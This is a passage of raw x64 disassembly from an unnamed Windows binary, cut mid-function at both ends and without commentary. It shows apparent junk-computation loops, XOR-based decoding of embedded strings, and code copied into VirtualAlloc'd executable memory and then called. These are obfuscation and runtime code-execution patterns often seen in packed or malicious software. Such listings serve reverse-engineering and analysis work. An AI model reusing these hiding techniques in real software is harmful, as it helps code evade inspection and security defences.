call fcn.1401b1850
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xdf0]
call fcn.140161630
call fcn.1401ceb70
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x1060]
call fcn.140132180
nop
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0x1060]
call fcn.140119880
lea rcx, [rsp + 0xec8]
call fcn.140119a90
lea rcx, [rsp + 0xec8]
call fcn.1401581b0
nop
movdqa xmmword [rsp + 0x790], xmm6
lea r8, [rsp + 0x790]
mov rdx, qword [rsp + 0xed0]
mov rcx, qword [rsp + 0xec8]
call fcn.1401616b0
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xec8]
call fcn.140119990
mov rdx, qword [rsp + 0xed0]
mov rcx, qword [rsp + 0xec8]
call fcn.140161710
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xc40]
call fcn.140161390
mov ebx, eax
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xc40]
call fcn.140161390
mov r8d, ebx
mov edx, eax
call fcn.140119a60
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x140152fea
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xc40]
test eax, eax
jne 0x14015300f
call fcn.140161390
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14015301e
call fcn.140161390
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
mov ebx, r15d
nop word [rax + rax]
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xc40]
call fcn.140161390
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xdf0]
call fcn.140161630
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x9c60]
test bl, 1
jne 0x14015309b
lea rcx, [rsp + 0xc40]
call fcn.140161390
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x1401530bd
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0xdf0]
call fcn.140161630
addsd xmm0, xmm14
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x140153030
sub rdi, 1
jne 0x140153023
lea rcx, [rsp + 0xec8]
call fcn.140158150
nop
lea rcx, [rsp + 0x1060]
call fcn.1401348a0
sub r12, 1
jne 0x140152de0
lea rcx, [rsp + 0x550]
call fcn.140119690
mov rcx, rax
lea rdx, [rsp + 0x2b8]
call fcn.140119a40
test al, al
js 0x140152dd0
lea rsi, [0x140000000]
mov r12d, dword [0x1401ff0f8]
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0xd30]
call fcn.140158060
lea rcx, [rsp + 0xf48]
call fcn.140119a90
lea rdx, [rsp + 0xdbd8]
lea rcx, [rsp + 0xf48]
call fcn.14011a230
nop
mov ecx, r15d
mov rax, qword [0x140205600]
test rax, rax
je 0x140153199
nop dword [rax]
cmp rax, r14
je 0x140153186
inc ecx
mov rax, qword [rsi + rcx*8 + 0x205600]
test rax, rax
jne 0x140153170
jmp 0x140153199
mov eax, ecx
mov rdx, qword [rsi + rax*8 + 0x206930]
test rdx, rdx
jne 0x14015327f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x1401531c0
mov rdx, r15
jmp 0x14015325e
mov rax, r14
mov rcx, rdx
mov r8, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x1401531d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140205fb8]
mov qword [rsi + rax*8 + 0x205600], r14
mov qword [rsi + rax*8 + 0x206930], rdx
inc rax
mov qword [0x140205fb8], rax
lea rcx, [0x140126c10]
call rdx
nop
mov rcx, qword [rsp + 0xf48]
xor rcx, qword [rsp + 0xf50]
mov qword [rsp + 0xf48], rcx
mov rax, qword [rsp + 0xf58]
mov qword [rax], rcx
movups xmm0, xmmword [0x1401eb5f8]
movups xmmword [rsp + 0x658], xmm0
movups xmm1, xmmword [0x1401eb608]
movups xmmword [rsp + 0x668], xmm1
movups xmm0, xmmword [0x1401eb618]
movups xmmword [rsp + 0x678], xmm0
mov eax, dword [0x1401eb628]
mov dword [rsp + 0x688], eax
movzx eax, byte [0x1401eb62c]
mov byte [rsp + 0x68c], al
mov r9d, r15d
mov edi, 5
lea ebx, [rdi + 0x1a]
cmp r12d, 2
jl 0x140153520
movd xmm7, edi
mov eax, 6
movd xmm8, eax
movd xmm6, ebx
movdqa xmm0, xmmword [0x1401ec240]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x658]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ec190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ec260]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ec260]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x1401ec280]
pmuldq xmm1, xmmword [0x1401ec280]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1b0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ec190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ec260]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ec260]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x1401ec280]
pmuldq xmm1, xmmword [0x1401ec280]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1b0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x30
jl 0x140153331
cmp r9d, 0x35
jge 0x14015357f
movsxd rax, r9d
lea r10, [rsp + 0x658]
add r10, rax
nop
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x1d
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x35
jl 0x140153530
lea rdx, [rsp + 0x658]
lea rcx, [rsp + 0x9a0]
call fcn.140132180
mov rcx, rax
call fcn.140132490
movups xmm0, xmmword [0x1401eaca0]
movups xmmword [rsp + 0x690], xmm0
movups xmm0, xmmword [0x1401eacc0]
movups xmm1, xmmword [0x1401eacb0]
movups xmmword [rsp + 0x6b0], xmm0
movups xmmword [rsp + 0x6a0], xmm1
movups xmm0, xmmword [0x1401eace0]
movups xmm1, xmmword [0x1401eacd0]
movups xmmword [rsp + 0x6d0], xmm0
movups xmmword [rsp + 0x6c0], xmm1
movups xmm0, xmmword [0x1401ead00]
movups xmm1, xmmword [0x1401eacf0]
movups xmmword [rsp + 0x6f0], xmm0
movups xmmword [rsp + 0x6e0], xmm1
movzx eax, byte [0x1401ead30]
movups xmm0, xmmword [0x1401ead20]
movups xmm1, xmmword [0x1401ead10]
mov byte [rsp + 0x720], al
movups xmmword [rsp + 0x710], xmm0
movups xmmword [rsp + 0x700], xmm1
mov r9d, r15d
cmp r12d, 2
jl 0x14015385b
movd xmm7, edi
mov eax, 6
movd xmm8, eax
movd xmm6, ebx
movdqa xmm0, xmmword [0x1401ec240]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x690]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ec190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ec260]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ec260]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x1401ec280]
pmuldq xmm1, xmmword [0x1401ec280]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1b0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ec190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ec260]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ec260]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x1401ec280]
pmuldq xmm1, xmmword [0x1401ec280]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1b0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x90
jl 0x140153666
cmp r9d, 0x91
jge 0x1401538c2
movsxd rax, r9d
lea r10, [rsp + 0x690]
add r10, rax
nop dword [rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x1d
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x91
jl 0x140153870
lea rdx, [rsp + 0x690]
lea rcx, [rsp + 0x980]
call fcn.140132180
nop
lea rcx, [rsp + 0x980]
call fcn.140122c50
nop
lea rcx, [rsp + 0x980]
call fcn.1401348a0
call fcn.14017ecdc
mov edx, eax
lea rcx, [rsp + 0xaff0]
call fcn.140158100
mov dword [rsp + 0xc38], 0xffffff9c
mov dword [rsp + 0xc3c], 0x64
movaps xmm0, xmmword [0x1401ec250]
movups xmmword [rsp + 0xe00], xmm0
mov dword [rsp + 0x40], r15d
movsd qword [rsp + 0x50], xmm15
lea rcx, [rsp + 0x558]
call fcn.140119690
mov rax, qword [rsp + 0x558]
add rax, 0x5f5e100
mov qword [rsp + 0x2f0], rax
lea rcx, [rsp + 0xd18]
call fcn.140119a90
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xd18], xmm0
mov qword [rsp + 0xd28], r15
lea rcx, [rsp + 0x560]
call fcn.140161510
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x2c0], rcx
lea rdx, [rsp + 0x2c0]
lea rcx, [rsp + 0xd18]
call fcn.140158030
nop
lea rcx, [rsp + 0x2c0]
call fcn.140158010
nop
lea rcx, [rsp + 0x560]
call fcn.140158010
lea rcx, [rsp + 0x568]
call fcn.140161540
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x2c8], rcx
lea rdx, [rsp + 0x2c8]
lea rcx, [rsp + 0xd18]
call fcn.140158030
nop
lea rcx, [rsp + 0x2c8]
call fcn.140158010
nop
lea rcx, [rsp + 0x568]
call fcn.140158010
lea rcx, [rsp + 0x570]
call fcn.140161570
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x2d0], rcx
lea rdx, [rsp + 0x2d0]
lea rcx, [rsp + 0xd18]
call fcn.140158030
nop
lea rcx, [rsp + 0x2d0]
call fcn.140158010
nop
lea rcx, [rsp + 0x570]
call fcn.140158010
lea rcx, [rsp + 0x578]
call fcn.1401615a0
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x2d8], rcx
lea rdx, [rsp + 0x2d8]
lea rcx, [rsp + 0xd18]
call fcn.140158030
nop
lea rcx, [rsp + 0x2d8]
call fcn.140158010
nop
lea rcx, [rsp + 0x578]
call fcn.140158010
lea rcx, [rsp + 0x580]
call fcn.1401615d0
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x2e0], rcx
lea rdx, [rsp + 0x2e0]
lea rcx, [rsp + 0xd18]
call fcn.140158030
nop
lea rcx, [rsp + 0x2e0]
call fcn.140158010
nop
lea rcx, [rsp + 0x580]
call fcn.140158010
lea rcx, [rsp + 0x588]
call fcn.140161600
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x2e8], rcx
lea rdx, [rsp + 0x2e8]
lea rcx, [rsp + 0xd18]
call fcn.140158030
nop
lea rcx, [rsp + 0x2e8]
call fcn.140158010
nop
lea rcx, [rsp + 0x588]
call fcn.140158010
lea rcx, [rsp + 0x590]
call fcn.140119690
mov rcx, rax
lea rdx, [rsp + 0x2f0]
call fcn.140119a40
test al, al
jns 0x140153eea
lea rax, [rsp + 0xc38]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0xaff0]
mov qword [rsp + 0x78], rax
movaps xmm6, xmmword [rsp + 0x70]
nop
mov r12d, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xc38]
call fcn.140161390
mov rbx, qword [rsp + 0xd20]
sub rbx, qword [rsp + 0xd18]
sar rbx, 3
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xc38]
call fcn.140161390
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0xd18]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xc38]
call fcn.140161390
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xe00]
call fcn.140161630
movaps xmm5, xmm0
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xe00]
call fcn.140161630
movaps xmm1, xmm5
call fcn.140119910
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xe00]
call fcn.140161630
movaps xmm1, xmm9
call fcn.1401b1850
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xe00]
call fcn.140161630
call fcn.1401ceb70
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x1040]
call fcn.140132180
nop
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0x1040]
call fcn.140119880
lea rcx, [rsp + 0xe38]
call fcn.140119a90
lea rcx, [rsp + 0xe38]
call fcn.1401581b0
nop
movdqa xmmword [rsp + 0x830], xmm6
lea r8, [rsp + 0x830]
mov rdx, qword [rsp + 0xe40]
mov rcx, qword [rsp + 0xe38]
call fcn.1401616b0
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xe38]
call fcn.140119990
mov rdx, qword [rsp + 0xe40]
mov rcx, qword [rsp + 0xe38]
call fcn.140161710
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xc38]
call fcn.140161390
mov ebx, eax
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xc38]
call fcn.140161390
mov r8d, ebx
mov edx, eax
call fcn.140119a60
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x140153daa
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xc38]
test eax, eax
jne 0x140153dcf
call fcn.140161390
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140153dde
call fcn.140161390
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
mov ebx, r15d
nop word [rax + rax]
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xc38]
call fcn.140161390
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0xaff0]
lea rcx, [rsp + 0xe00]
call fcn.140161630
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0xaff0]
test bl, 1
jne 0x140153e5b
lea rcx, [rsp + 0xc38]
call fcn.140161390
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140153e7d
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0xe00]
call fcn.140161630
addsd xmm0, xmm14
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x140153df0
sub rdi, 1
jne 0x140153de3
lea rcx, [rsp + 0xe38]
call fcn.140158150
nop
lea rcx, [rsp + 0x1040]
call fcn.1401348a0
sub r12, 1
jne 0x140153ba0
lea rcx, [rsp + 0x590]
call fcn.140119690
mov rcx, rax
lea rdx, [rsp + 0x2f0]
call fcn.140119a40
test al, al
js 0x140153b90
lea r14, [0x140163290]
mov r12d, dword [0x1401ff0f8]
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0xd18]
call fcn.140158060
movups xmm0, xmmword [0x1401eab40]
movups xmmword [rsp + 0x8f0], xmm0
movups xmm1, xmmword [0x1401eab50]
movups xmmword [rsp + 0x900], xmm1
movups xmm0, xmmword [str._t_b_1___]
movups xmmword [rsp + 0x910], xmm0
movups xmm1, xmmword [0x1401eab70]
movups xmmword [rsp + 0x920], xmm1
movups xmm0, xmmword [0x1401eab80]
movups xmmword [rsp + 0x930], xmm0
movups xmm1, xmmword [0x1401eab90]
movups xmmword [rsp + 0x940], xmm1
movups xmm0, xmmword [0x1401eaba0]
movups xmmword [rsp + 0x950], xmm0
movups xmm1, xmmword [0x1401eabb0]
movups xmmword [rsp + 0x960], xmm1
movsd xmm0, qword [0x1401eabc0]
movsd qword [rsp + 0x970], xmm0
movzx eax, byte [0x1401eabc8]
mov byte [rsp + 0x978], al
mov r9d, r15d
cmp r12d, 2
jl 0x1401541c6
mov eax, 5
movd xmm7, eax
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [0x1401ec240]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x8f0]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ec190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ec260]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ec260]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x1401ec280]
pmuldq xmm1, xmmword [0x1401ec280]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1b0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ec190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ec260]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ec260]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x1401ec280]
pmuldq xmm1, xmmword [0x1401ec280]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1b0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x88
jl 0x140153fd1
cmp r9d, 0x89
jge 0x140154232
movsxd rax, r9d
lea r10, [rsp + 0x8f0]
add r10, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x1d
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x89
jl 0x1401541e0
lea rax, [rsp + 0x8f0]
mov qword [rsp + 0x598], rax
lea rcx, [rsp + 0xf60]
call fcn.140119a90
lea rdx, [rsp + 0xdbd8]
lea rcx, [rsp + 0xf60]
call fcn.14011a230
nop
mov ecx, r15d
mov rax, qword [0x140204c50]
lea rbx, [0x140162150]
test rax, rax
je 0x1401542a9
nop dword [rax + rax]
cmp rax, rbx
je 0x140154296
inc ecx
mov rax, qword [rsi + rcx*8 + 0x204c50]
test rax, rax
jne 0x140154280
jmp 0x1401542a9
mov eax, ecx
mov r8, qword [rsi + rax*8 + 0x204600]
test r8, r8
jne 0x14015438f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1401542d0
mov r8, r15
jmp 0x14015436e
mov rax, rbx
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
